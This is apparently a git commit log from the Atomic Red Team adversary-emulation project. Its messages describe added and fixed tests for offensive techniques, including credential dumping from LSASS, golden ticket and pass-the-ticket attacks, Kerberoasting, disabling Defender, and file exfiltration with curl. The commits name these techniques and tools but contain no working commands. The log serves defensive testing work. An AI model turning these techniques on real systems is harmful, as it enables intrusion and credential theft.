CircleCI Atomic Red Team doc generator 8c07547d65 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-12 20:13:02 +00:00
CircleCI Atomic Red Team GUID generator ad0d097ec0 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-12 20:12:56 +00:00
Carl 3f1fb3c121 Merge pull request #1713 from chdd-ltd/T1110.001_sudo_bruteforce
T1110.001 - Added two Linux local SUDO bruteforce tests
2022-01-12 13:12:31 -07:00
Carl 1b5d789a7b Merge branch 'master' into T1110.001_sudo_bruteforce 2022-01-12 13:11:43 -07:00
Marrelle Bailey (She/Her) 2019d6c993 Updated version of the CoC (#1718)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-12 07:40:27 -06:00
CircleCI Atomic Red Team doc generator 4bffef03dd Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-12 13:39:32 +00:00
CircleCI Atomic Red Team GUID generator 35acd81273 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-12 13:39:27 +00:00
Vincent N b9750ef5cd Extend T1550.003 with new PTT attack (#1717)
* Extend T1550.003 with new PTT attack

* Applying Carrie's suggestion
2022-01-12 07:39:00 -06:00
CircleCI Atomic Red Team doc generator dfea108f00 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-10 19:36:25 +00:00
CircleCI Atomic Red Team GUID generator 56d6fec8db Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-10 19:36:19 +00:00
Leo Verlod 12e9da546c Create T1091.yaml (#1715)
Creating a directory for T1091 and corresponding YAML file so that a new test can be submitted for this technique. The proposed test is designed to detect removable drives connected to a Windows system and then create a file named "T1091Test1.txt" on them to simulate USB spread.
2022-01-10 12:35:48 -07:00
biot e8c33dcbb5 T1110.001_sudo_bruteforce 2022-01-08 17:47:55 +00:00
CircleCI Atomic Red Team doc generator 957ca44e55 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-07 22:29:03 +00:00
CircleCI Atomic Red Team GUID generator ef47d419f1 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-07 22:28:59 +00:00
frack113 6221a181ab Fix windows test (#1711) 2022-01-07 15:28:30 -07:00
CircleCI Atomic Red Team doc generator 1351165d33 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-06 17:23:26 +00:00
CircleCI Atomic Red Team GUID generator 7abf7fe918 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-06 17:23:20 +00:00
tr4cefl0w 153f4aa939 adding T1547.002 (#1697)
* adding T1547.002

* removing auto_generated_guid

* fixing payloads

* updating cleanup cmd and description

* removing submodules, adding payload source

* removing submodule, adding payloads src

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-06 11:22:52 -06:00
CircleCI Atomic Red Team doc generator c7cfd2cac0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-05 21:42:39 +00:00
frack113 c45170dcaa fix test (#1709)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-05 14:42:06 -07:00
CircleCI Atomic Red Team doc generator 0097ce4b39 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-05 21:39:28 +00:00
Leo Verlod b83ffcf37c Updating T1217 Test 4 to include Opera (#1708)
Upon attempting to develop an atomic for Opera bookmark discovery and testing T1217 Test 4, found that this test also detects Opera bookmarks in addition to Chrome's. Modifying name/description of this test to outline that it finds Opera bookmarks too.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-05 14:38:55 -07:00
CircleCI Atomic Red Team doc generator 131febbcdb Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-05 21:35:39 +00:00
CircleCI Atomic Red Team GUID generator 9446159b59 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-05 21:35:34 +00:00
Leo Verlod 4b8a21d4d7 Adding T1497.001 Test 4 (#1706)
This test is a second method of detecting virtualization within Windows by querying the WMI manufacturer/model.
2022-01-05 14:35:05 -07:00
CircleCI Atomic Red Team doc generator 715ee2f7bf Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-30 20:08:23 +00:00
CircleCI Atomic Red Team GUID generator 6d0d802558 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-30 20:08:18 +00:00
Leo Verlod aa6cab9772 Adding T1555.003 Test 5 - Simulating Access to Opera Login Data (#1698)
* Adding Test 5 - Simulating Access to Opera Login Data

Adding a 5th test that simulates access to Opera Login Data within Windows.

* Update T1555.003.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-12-30 13:07:54 -07:00
CircleCI Atomic Red Team doc generator 16f8bfd71c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-30 19:21:54 +00:00
MrOrOneEquals1 b9ee00896b Update T1202.yaml (#1704)
* Update T1202.yaml

Update executor for Windows Indirect Command Execution

* Update T1202.yaml

* Update T1202.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-12-30 12:21:38 -07:00
CircleCI Atomic Red Team doc generator 4c36b9b772 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-30 19:08:33 +00:00
MrOrOneEquals1 e0f2a76114 Update T1003.yaml (#1702)
* Update T1003.yaml

Add -UseBasicParsing to line 41

* Update T1003.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-12-30 12:08:06 -07:00
CircleCI Atomic Red Team doc generator a65adae62d Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-30 19:05:18 +00:00
MrOrOneEquals1 f2da872a35 Update T1137.006.yaml (#1703)
Update default xll_url. Fixes issue #1700 , thx @frack13
2021-12-30 12:04:52 -07:00
CircleCI Atomic Red Team doc generator d39dc66fa1 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-23 19:00:45 +00:00
CircleCI Atomic Red Team GUID generator 73a44d8b8f Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-23 19:00:40 +00:00
shamanth0912 60d6849173 Added a New Test in T1070.005 - Disable Administrative Share Creation at Startup (#1694)
* Update T1003.yaml

Cleared a space liner from command line for Atomic guid : d400090a-d8ca-4be0-982e-c70598a23de9

* Update T1070.005.yaml

Added a new test to disable Admin Share and clean up command

* Update T1003.yaml

* update desc

* update desc

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-12-23 12:00:12 -07:00
nsher07 7e87e7e9af Update T1070.005.yaml (#1695)
* Update T1070.005.yaml

New test to remove Admin$ share (net share Admin$ /delete)

* add cleanup commands/desc

* spacing fix

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-12-23 11:47:28 -07:00
CircleCI Atomic Red Team doc generator e77a01078a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-21 17:35:29 +00:00
CircleCI Atomic Red Team GUID generator 283e2a79eb Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-21 17:35:23 +00:00
CyberBilly7 bad06f0c3f Add cipher RANSOMEXX test (#1691)
* Add cipher RANSOMEXX test

* update description

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-12-21 09:34:54 -08:00
CircleCI Atomic Red Team doc generator 246bc2e4ae Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-16 18:04:51 +00:00
Clément Notin ad7805da81 Kerberoasting: purge tickets before launching attack to ensure cached ones aren't used (#1690)
The TGT is purged too but given that the long term session keys are in LSASS it will be re-fetched too silently
2021-12-16 11:04:17 -07:00
chris d2230e7bba T1018 removed the guid entries 2021-12-14 12:20:21 +00:00
chris 69bacaa674 T1018 2021-12-14 12:11:21 +00:00
CircleCI Atomic Red Team doc generator ff079fb1bf Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-13 21:12:12 +00:00
Carrie Roberts 32eb49ca37 overwrite existing output without prompt (#1688)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-12-13 14:11:54 -07:00
CircleCI Atomic Red Team doc generator 645826a092 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-13 21:10:58 +00:00
Carrie Roberts b96d532bb8 Using smart defaults so more atomics work w/o custom input args (#1687)
* smart defaults

* smart defaults

* correction
2021-12-13 14:10:18 -07:00
CircleCI Atomic Red Team doc generator b8333150c1 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-09 22:52:57 +00:00
CircleCI Atomic Red Team GUID generator ea555fab07 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-09 22:52:52 +00:00
lucasRiley c05e8c7dde T1135 Powerview (#1686)
* T1135 Powerview

* Update T1135.yaml

* Simplifying updates

Co-authored-by: Riley <lriley@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-12-09 15:52:22 -07:00
CircleCI Atomic Red Team doc generator 8985aaf0f0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-09 18:42:48 +00:00
Carrie Roberts 5bb5878e62 Cleaning up the Cleanup commands (#1685)
* cleanup fixes

* cleanup fixes

* cleanup fixes
2021-12-09 11:42:14 -07:00
CircleCI Atomic Red Team doc generator 17d151ba0c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-08 19:05:10 +00:00
Carrie Roberts 0681f97a82 type fixes per issue 1683 (#1684) 2021-12-08 12:04:34 -07:00
CircleCI Atomic Red Team doc generator d1789b5bfc Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-08 16:57:20 +00:00
hackeT 5b360eb744 T1550.003 pass the ticket by mimikatz patch (#1682)
* Update T1550.003.md

To avoid mimikatz failure and more useful argument description

* Update T1550.003.yaml

To avoid to fail mimikatz  kerberos::ptt and be more easier to understand about argument.

* Update T1550.003.yaml

* Update T1550.003.md

* Update T1550.003.md

* Update T1550.003.yaml
2021-12-08 09:56:45 -07:00
CircleCI Atomic Red Team doc generator d07703afe0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 17:20:49 +00:00
CircleCI Atomic Red Team GUID generator eabee62e93 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 17:20:43 +00:00
Michael Haag 9ac016f0e6 DISM (#1681)
DISM removal of Defender.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-12-07 10:20:27 -07:00
CircleCI Atomic Red Team doc generator 87dd1295e6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 17:18:10 +00:00
CircleCI Atomic Red Team GUID generator 820418c73d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 17:18:04 +00:00
Carl ed54325185 Merge pull request #1676 from glallen/T1027.004
T1027.004 - Adds Linux compile tests for C, C++, and Go
2021-12-07 10:17:42 -07:00
Carl 39432ead47 Merge branch 'master' into T1027.004 2021-12-07 10:16:01 -07:00
CircleCI Atomic Red Team doc generator 6ebd4669ad Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 17:15:26 +00:00
CircleCI Atomic Red Team GUID generator 53dc13c016 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 17:15:21 +00:00
Carl eba59274db Merge branch 'master' into T1027.004 2021-12-07 10:15:13 -07:00
Carl 2ff951e359 Merge pull request #1671 from Danvele/T1048.002
T1048.002
2021-12-07 10:15:03 -07:00
Carl ca09bb0565 Merge branch 'master' into T1048.002 2021-12-07 10:13:35 -07:00
Carrie Roberts 33b6df39ec Merge branch 'master' into T1027.004 2021-12-07 10:12:57 -07:00
CircleCI Atomic Red Team doc generator cf0bb081ef Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 17:01:53 +00:00
Carl 19a7881cab Merge branch 'master' into T1048.002 2021-12-07 10:01:18 -07:00
Carl c0a387fb65 Merge pull request #1675 from glallen/T1069.001
T1069.001 - update existing test with: id, getent, cat group
2021-12-07 10:01:07 -07:00
Carl fa49ec472e Merge branch 'master' into T1048.002 2021-12-07 09:55:55 -07:00
Carl 35d7f4739e Merge branch 'master' into T1069.001 2021-12-07 09:55:05 -07:00
CircleCI Atomic Red Team doc generator 37ea965727 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 16:27:21 +00:00
Carl 2f7d25c7b9 Merge branch 'master' into T1027.004 2021-12-07 09:26:56 -07:00
Carl 72c7517bea Merge pull request #1677 from glallen/T1036.006
T1036.006 Adds an automated test for space after filename.
2021-12-07 09:26:51 -07:00
Carl e66d81e45c Merge branch 'master' into T1036.006 2021-12-07 09:24:44 -07:00
Carl 5a1033bad6 Merge branch 'master' into T1036.006 2021-12-07 09:23:42 -07:00
CircleCI Atomic Red Team doc generator 2e0b4540be Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 16:23:41 +00:00
Carl a657de47ac Merge pull request #1678 from glallen/T1003.008
T1003.008
2021-12-07 09:23:12 -07:00
Carl d731ff90f6 Merge branch 'master' into T1003.008 2021-12-07 09:21:58 -07:00
CircleCI Atomic Red Team doc generator 6dc53a3a72 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-12-07 16:21:33 +00:00
Carl 728fa3ce9e Merge pull request #1679 from glallen/T1485-fix-dd
T1485 - constrains dd to write the original file size when overwriting
2021-12-07 09:20:54 -07:00
Danvele 3ecfab37f7 Merge branch 'redcanaryco:master' into T1048.002 2021-11-24 10:03:25 +01:00
George Allen 1b2cbdba8d T1485 - constrains dd to write the original file size when overwriting 2021-11-23 22:39:51 +00:00
glallen 4cf57b9ec8 spec.yaml should be singular to match working yaml (#1674)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-11-23 10:38:03 -07:00
George Allen 9a304d3485 T1003.008 - tweak test to move arg off cmdline 2021-11-23 14:19:38 +00:00
Jose Enrique Hernandez b7c8fe4b7d Merge pull request #1672 from mboman/CVE-2021-28834
CVE 2021 28834
2021-11-22 11:43:40 -05:00
Jose Enrique Hernandez 5dd580ed67 Merge branch 'master' into CVE-2021-28834 2021-11-22 11:43:00 -05:00
George Allen e96ce08275 T1003.008: set elevation_required 2021-11-22 03:29:56 +00:00
George Allen 3468842c02 T1003.008 - fix guids (again)
the previous guid fix attempt was done by deleting the auto_generated_guid
field, then running bin/generate-guids.rb. But I deleted the field under the
wrong, existing test. Swapped the new guid back under the new test, since this
didn't hit the jsons yet.
2021-11-22 03:23:39 +00:00
George Allen 1c28bb0384 T1003.008 - fix copy/pasted guids 2021-11-22 03:19:29 +00:00
George Allen 50bb3347e2 T1036.006: adds the actual masquerading part
Added execution, confirmed that the process name shows as `init ` via htop.

Between ART, echo, yaml, bash, &c, I could not just `echo '...' > file` with the
required escaping and had to resort to more drastic measures with `ed`
2021-11-22 03:11:40 +00:00
George Allen 974334e776 T1036.006: tweak based on testing 2021-11-22 01:20:43 +00:00
George Allen 2e055a11b9 T1036.006 generate-guids 2021-11-22 01:05:59 +00:00
George Allen 56f162be2f T1027.004 generate-guids 2021-11-22 00:57:11 +00:00
George Allen 19011b569a T1069.001 - update existing test with: id, getent, cat group 2021-11-21 17:16:54 +00:00
George Allen ba45698be7 T1036.006 - add test for space after filename 2021-11-21 17:13:14 +00:00
George Allen d190d830db T1003.008 - additional tests 2021-11-21 17:11:37 +00:00
George Allen a0ba29cd43 adds new tests for compiling C,CC,Go 2021-11-21 17:01:26 +00:00
CircleCI Atomic Red Team doc generator 4b1bc4557e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-19 18:43:15 +00:00
glallen 4a5881e343 Linux prereq updates (#1673)
* T1070.003-9 update (get_)prereq_commmand

- moved system changes to the get_prereq(s)
- ubuntu `passwd` didn't accept `--stdin`
- updated get_prereqs for both ubuntu/centos

* T1016 - update prereq

* T1018 - update prereq

* T1562.001 - update rsyslog prereq

* T1560.001 updates dep check/install, update default likely to exist

switch to /var/log/wtmp and /var/log/btmp vs ${HOME}/*.txt, since those will
always be present

tests for zip in the prereq

adds deb/rpm install for zip

* T1486 - update getprereqs

* T1135 - update prereqs

* T1046 - update prereqs

* T1040 - update prereqs
2021-11-19 11:42:46 -07:00
Michael Boman f6557adf99 Update the ruby dependencies to more recent versions to close the CVE-2021-28834 vulnerability. 2021-11-18 21:04:40 +00:00
Michael Boman 3ed39e3599 Fixed CVE-2021-28834 notified by Dependabot 2021-11-18 20:26:52 +00:00
Danvele afb6714c80 Merge branch 'redcanaryco:master' into T1048.002 2021-11-17 12:56:31 +01:00
Daniel Danho 133317d806 Removed broken Windows check, saved elsewhere for a later commit 2021-11-17 12:54:25 +01:00
Daniel Danho 447d5fc601 Implemented initial test for T1048.002 on Linux 2021-11-17 11:47:00 +01:00
CircleCI Atomic Red Team doc generator 9d99436432 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-16 16:09:02 +00:00
CircleCI Atomic Red Team GUID generator 3101f0225d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-16 16:08:57 +00:00
Carrie Roberts 64b06bc2dc Add lsass dump via NanoDump atomic (#1670)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-11-16 09:08:26 -07:00
CircleCI Atomic Red Team doc generator 6146dbfa24 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-16 16:04:07 +00:00
CircleCI Atomic Red Team GUID generator 274fa5584b Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-16 16:04:02 +00:00
Carrie Roberts 8fdb9ba016 Add golden ticket attack with Rubeus tool (#1668)
* Add golden ticket attack with Rubeus tool

* update spacing

* clarify input arg desc
2021-11-16 09:03:23 -07:00
CircleCI Atomic Red Team doc generator 22dd2fba1b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 17:27:38 +00:00
Josh Rickard 7c386fea12 Removed key from yaml - auto_generate_guid (#1669) 2021-11-15 10:27:01 -07:00
CircleCI Atomic Red Team doc generator e058cc65aa Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 17:01:26 +00:00
CircleCI Atomic Red Team GUID generator 2b19a51db5 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 17:01:21 +00:00
Carl b8f7603562 Merge pull request #1662 from chdd-ltd/T1053.006
T1053.006 added two transient systemd tests
2021-11-15 10:00:58 -07:00
Carl 6c76a479aa Merge branch 'master' into T1053.006 2021-11-15 10:00:01 -07:00
CircleCI Atomic Red Team doc generator acbc93f04b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 16:56:25 +00:00
Carl 3a8659a344 Merge pull request #1660 from buzzdeee/fix_python_test
fix T1059.006 tests 1-3
2021-11-15 09:55:54 -07:00
Carl 74bc0631de Merge branch 'master' into fix_python_test 2021-11-15 09:55:08 -07:00
CircleCI Atomic Red Team doc generator c75738380e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 16:55:05 +00:00
CircleCI Atomic Red Team GUID generator 0e54e4cb93 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 16:55:00 +00:00
Carl 6fd073f2b0 Merge branch 'master' into fix_python_test 2021-11-15 09:54:49 -07:00
Carl 1afc604de9 Merge pull request #1657 from arunppsg/t1124
T1124 - Get system date time in macOS using shell
2021-11-15 09:54:40 -07:00
Carl 3e8b87aa40 Merge branch 'master' into t1124 2021-11-15 09:53:12 -07:00
CircleCI Atomic Red Team doc generator 45a72df216 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 16:40:52 +00:00
Carrie Roberts 3f34e8322f set domain programatically (#1667)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-11-15 09:40:21 -07:00
CircleCI Atomic Red Team doc generator 9ebf782b2f Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 16:38:44 +00:00
Carrie Roberts 66f06f62d9 set domain programatically (#1666)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-11-15 09:38:13 -07:00
CircleCI Atomic Red Team doc generator e9f25c654a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 16:09:56 +00:00
CircleCI Atomic Red Team GUID generator 080294af8e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-15 16:09:51 +00:00
Michael Haag df76fb17bd Curl - Upload a file (#1665)
* T1105 - Curl for Windows

* Update T1105.yaml

* T1105 - Upload with Curl

* Update T1105.yaml

* Removed cleanup
2021-11-15 09:09:21 -07:00
CircleCI Atomic Red Team doc generator f76dce59fa Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-10 00:55:10 +00:00
tlor89 41edb9d581 T-1110.001-Update (#1664)
* T-1110.001-Update

* Update T1110.001.yaml

Co-authored-by: Toua Lor <tlor@nti.local>
2021-11-09 17:54:45 -07:00
chris 3426113b0b T1053.006 added two transient systemd tests 2021-11-09 16:41:47 +00:00
Sebastian Reitenbach 39981d6ae9 This one is even better, no need for ln -s /usr/bin/python3 /usr/bin/python
taken from T1003.007-2
2021-11-04 14:21:47 +01:00
Sebastian Reitenbach e17fea0cb5 fix T1059.006 tests 1-3
which_python is only set in the prereq_command, but not in the
actual command to run the test, therefore it doesn't find python
2021-11-04 12:57:05 +01:00
CircleCI Atomic Red Team doc generator 717757d539 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-03 18:57:08 +00:00
CircleCI Atomic Red Team GUID generator 50a76a233c Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-03 18:57:03 +00:00
Bhavin Patel b4e74a260a Merge pull request #1607 from piaconsigny/pr-domain-trust-modif
T1484.002: Azure AD - Domain Trust Modification
2021-11-03 11:56:44 -07:00
Bhavin Patel ed2b816a10 Merge branch 'master' into pr-domain-trust-modif 2021-11-03 11:56:08 -07:00
CircleCI Atomic Red Team doc generator 89a486294b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-01 15:00:11 +00:00
Carrie Roberts 8b443270f5 Use environment variable to resolve domain (#1654) 2021-11-01 08:59:26 -06:00
CircleCI Atomic Red Team doc generator 276f5e6fc9 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-11-01 14:33:32 +00:00
Matt Graeber 3d96a60cc6 Merge pull request #1659 from JoustingZebra/master
T1220.yaml dependency fix
2021-11-01 10:33:04 -04:00
JoustingZebra decc37d1dc Fix for MSXSL dependency issues
Added:

Fixes for "MSXSL Bypass using remote files"
T1220/bin/ folder for default msxsl.exe filepath.
Input argument for filepath to msxls.exe
Cleanup command to remove msxls.exe 
Capitalization fixes for "-ErrorAction Ignore"
Fixed spelling "successfully" on line 10, 60, and 121.
Split line 57 to get length under 150 characters.
2021-10-29 18:18:18 -04:00
JoustingZebra acd76a17a3 Create .gitignore
gitignore for /bin/ folder
2021-10-29 16:54:25 -04:00
JoustingZebra 2ae946496a Delete .gitignore 2021-10-29 16:53:02 -04:00
JoustingZebra 6c4af49f59 Create .gitignore 2021-10-29 16:51:57 -04:00
JoustingZebra fadc563c96 Delete atomics/T1220/bin. directory 2021-10-29 16:51:42 -04:00
JoustingZebra 3ce7e7909a Create .gitignore 2021-10-29 16:51:23 -04:00
CircleCI Atomic Red Team doc generator 3c8cc63c7c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-29 01:13:24 +00:00
tlor89 da09158d35 T1087.001-update (#1658)
Co-authored-by: Toua Lor <tlor@nti.local>
2021-10-28 19:12:47 -06:00
Arun 29824b76d5 T1124 - Get system date time in macOS using shell 2021-10-28 19:24:28 +05:30
CircleCI Atomic Red Team doc generator 776224b7d3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-25 20:55:47 +00:00
CircleCI Atomic Red Team GUID generator d5265e52f5 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-25 20:55:42 +00:00
Rimsha3108 69c06b9086 Adding ConfigSecurityPolicy Exfil (#1656) 2021-10-25 14:55:19 -06:00
CircleCI Atomic Red Team doc generator 1bd61011ca Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-21 20:42:25 +00:00
CircleCI Atomic Red Team GUID generator 008a484545 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-21 20:42:20 +00:00
Michael Haag 5906bbec70 T1105 - Curl for Windows (#1653)
* T1105 - Curl for Windows

* Update T1105.yaml

* ignore cleanup errors

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-21 14:41:48 -06:00
CircleCI Atomic Red Team doc generator e01633ef52 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-18 19:57:23 +00:00
Antoine Cauchois 05cc3b2ba0 Fix T1110.003 quote usage in PowerShell (#1651)
In PowerShell, special characters are interpreted in double quotes. By using a single quote, the password won't change.
2021-10-18 13:56:48 -06:00
CircleCI Atomic Red Team doc generator a99296a770 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-18 17:07:32 +00:00
CircleCI Atomic Red Team GUID generator b9b6e708c3 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-18 17:07:27 +00:00
Michael Haag 055f2b03e4 ServicePrincipleName Gathering T1558.003 (#1648)
* ServicePrincipleName Gathering

* Fixes

* Update T1558.003.yaml

* Update T1558.003.yaml
2021-10-18 11:07:06 -06:00
CircleCI Atomic Red Team doc generator 21bffa7a69 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-18 14:55:17 +00:00
Clément Notin 067187c3ba T1569.002: fix spelling (#1650) 2021-10-18 08:54:54 -06:00
CircleCI Atomic Red Team doc generator 61901c7089 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-15 23:15:04 +00:00
Jose Enrique Hernandez 5ca0cd8717 rebuilt T1027.yml (#1649)
* just added dasta

* adding yaml

* fixing yaml

* maintain desc spacing

* keep original spacing

* spacing

* spacing

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-15 17:14:30 -06:00
Carrie Roberts b8460f5d6a Merge branch 'master' into pr-domain-trust-modif 2021-10-15 14:14:32 -06:00
Vincent N cc313367cd Add missing quotes in wmic forgotten in fdf942f (#1645)
Quoting wmic node option prevents the command from failing when the destination node dns name contains a hyphen

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-15 14:11:17 -06:00
CircleCI Atomic Red Team GUID generator e0add88f40 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-15 15:15:27 +00:00
devapriya16 80ac90e341 T1021.001_Update (#1647)
Co-authored-by: Priya <dpriya@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-15 09:14:57 -06:00
CircleCI Atomic Red Team GUID generator d130f2d97e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-15 15:13:17 +00:00
Wietze 9282894485 T1027: Add generic Command-Line Obfuscation (#1646)
* T1027: Add generic command-line obfuscation

* remove guid so a new one will be auto-assigned

Co-authored-by: Wietze <wietze.beukema@pwc.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-15 09:12:44 -06:00
CircleCI Atomic Red Team doc generator 54ce1cb32b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-08 15:29:42 +00:00
forensictdev a563f57e9a Add spanish support to test (#1644)
* Add spanish support to test

* Add quotes to localgroup name

Co-authored-by: gabofcg <gabelo005@gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-08 09:29:00 -06:00
CircleCI Atomic Red Team doc generator 47bfc55de6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-08 15:27:30 +00:00
CircleCI Atomic Red Team GUID generator 814fe5c75d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-08 15:27:25 +00:00
Vincent N 5798ea786a T1003.003 Add remote Shadow Copy creation over wmi (#1640)
* Add remote Shadow Copy creation over wmi

* Add quotes for wmic node

Quoting wmic node option prevents the command from failing when the destination node dns name contains a hyphen

* Adjust default wmic parameters to run locally
2021-10-08 09:26:53 -06:00
CircleCI Atomic Red Team doc generator 985f0a446a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-08 02:02:54 +00:00
JoustingZebra e3b1ecdae4 Fixed missing dependency (msxsl.exe) (#1642)
Added missing dependency (msxsl.exe)

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-07 20:02:28 -06:00
CircleCI Atomic Red Team doc generator e5de126fd6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-08 01:58:39 +00:00
CircleCI Atomic Red Team GUID generator 311de56693 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-08 01:58:34 +00:00
devapriya16 dc251e8ee5 RDP on Non Standdard Port (#1643)
Co-authored-by: Priya <dpriya@NTI.local>
2021-10-07 19:58:04 -06:00
